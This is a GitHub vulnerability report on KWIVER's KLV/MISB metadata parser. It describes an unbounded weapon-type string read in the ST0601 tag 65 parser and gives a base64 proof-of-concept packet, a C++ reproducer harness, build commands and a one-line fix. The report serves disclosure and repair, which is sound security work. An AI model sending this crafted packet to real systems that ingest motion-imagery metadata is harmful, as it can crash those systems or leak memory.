Skip to content

Heap out-of-bounds read in ST0601 Weapons Store (tag 65) parser (arrows/klv) #1846

Description

@pventuzelo

ST0601 Weapons Store (tag 65) — heap out-of-bounds read

Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read + unbounded alloc)
Location: arrows/klv/klv_0601.cxx — klv_0601_weapons_store_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer

Description

Every field is bounded by tracker.remaining() — except the trailing
weapon-type string:

auto const length_of_weapon_type = klv_read_ber< size_t >( data, tracker.remaining() );
result.weapon_type = klv_read_string( data, length_of_weapon_type );  // unbounded

Impact: length_of_weapon_type comes straight from the packet; a value
larger than the field reads past the buffer, a huge value also requests an
enormous allocation.

The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.

Proof of concept

Raw KLV packet (946 bytes), base64 — decode with base64 -d:

Bg4rNAILAQEOAQMBAQAAAIIDnwIIAARZ9KaqSqgDCU1JU1NPTkkwKRgEFLwIKxkCNPMgGgIXUBsC
Bj8cAj8DAAASD1ZJUyBOb3NlIENhbWVyYRUBABJBZmZmZmZmZh0dHR0dQ01FIFbo6Ojo6Ojo6Ojo
6Ojo6CA0NTaBCwELgQwsDgEBAAAAAAAAAANwb29uDwEBAgKeBAhIZWwMLA4BAQEDggMHSGFycG9v
bg8BAQICngQISGVsbGZpcmUMAQIBAQMGR0JVLTE1gQ1ADwALAQuBDCwOAQEBA4IDB0hhcnBvb24P
AQECAp4ECEhlbGxmaXJlDAECZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZm
ZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZmZh0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0d
HR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHSUdHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0d
HR0dHR0dHR0dHR0dHR0dHR1mZmZmZmZmAggABFn0pqpKqAMJTUlTU0lPTgcAMDEEBkFGLTEwAm8g
V2F5cG9pbnQgMXQCAwd1Aj6QdgM+gBF3AjtgeAJIAHkCAQN6CwEOA0NGLTEwS0xWX1BBQ0tFVF9V
TktOT1dOMQUCccIGAv09BwJBTgADRlJBewEHfAEDfQEJfgEBfwWD1FJBewEHfAEDfQEJfgEFfwWD
xNRgh2mBAA4NFQcAAAAH0AAAD6BOTklSgQEEQTEyM4ECGAtAa8IJGb2lVAcOAAtAeDy4GaKSdAfG
AIEDBwVvJxteQbeBBAIhCAAEWfSmLTEwZXRpYwIIAARZ9KaqSqgDCU1JU1NJT04wMQQGQUYtMTAx
BQJxwgYC/T0HAgi4JQgBkwkBnwoFTVExLUILAkVPDA5HZW9kZXRpYyBXR1M4NA5VBA1tBLaVW1Ng
xA8CwiEQAs2cEQLZFxLQJGYBgEkASgBLAsIhTAILs00BAU4CC7NPAgn7UAIEvFEEACQ4AFIE8Qab
Yx0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0dHR0GR0JVLTE1gQ1ADwALAQuBDCwOAQEB
A4IDB0hhcnBvb24PAQECAp4ECEhlbGxmaXJlDAECZmZmZmZmZmZmZmZmZmZmZmZmZmZmB9AADwP/
/gBAceWvGb9dpwlgAIFDDgY0gABLAAAGGkAADIAAgQ8BBw==

Reproduction

No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:

base64 -d poc.b64 > poc.klv          # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv

→ AddressSanitizer: heap-buffer-overflow READ / container-overflow in klv_0601_weapons_store_format::read_typed.

Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;

int main( int argc, char** argv )
{
  std::ifstream in( argv[1], std::ios::binary );
  std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
                              std::istreambuf_iterator< char >() );
  klv_read_iter_t it = buf.data();
  klv_read_iter_t const end = buf.data() + buf.size();
  while( it < end ) {                       // consume as a KLV stream
    klv_read_iter_t const before = it;
    try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
    catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
    if( it <= before ) break;
  }
  return 0;
}

Build against an AddressSanitizer build of kwiver_algo_klv:

clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
  -I<kwiver_src> -I<kwiver_build> \
  -L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
     -lvital_exceptions -lvital_util -lvital_config -lvital_types \
  -Wl,-rpath,<kwiver_build>/lib -o repro_klv

Suggested fix

result.weapon_type = klv_read_string( data, tracker.verify( length_of_weapon_type ) );

Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions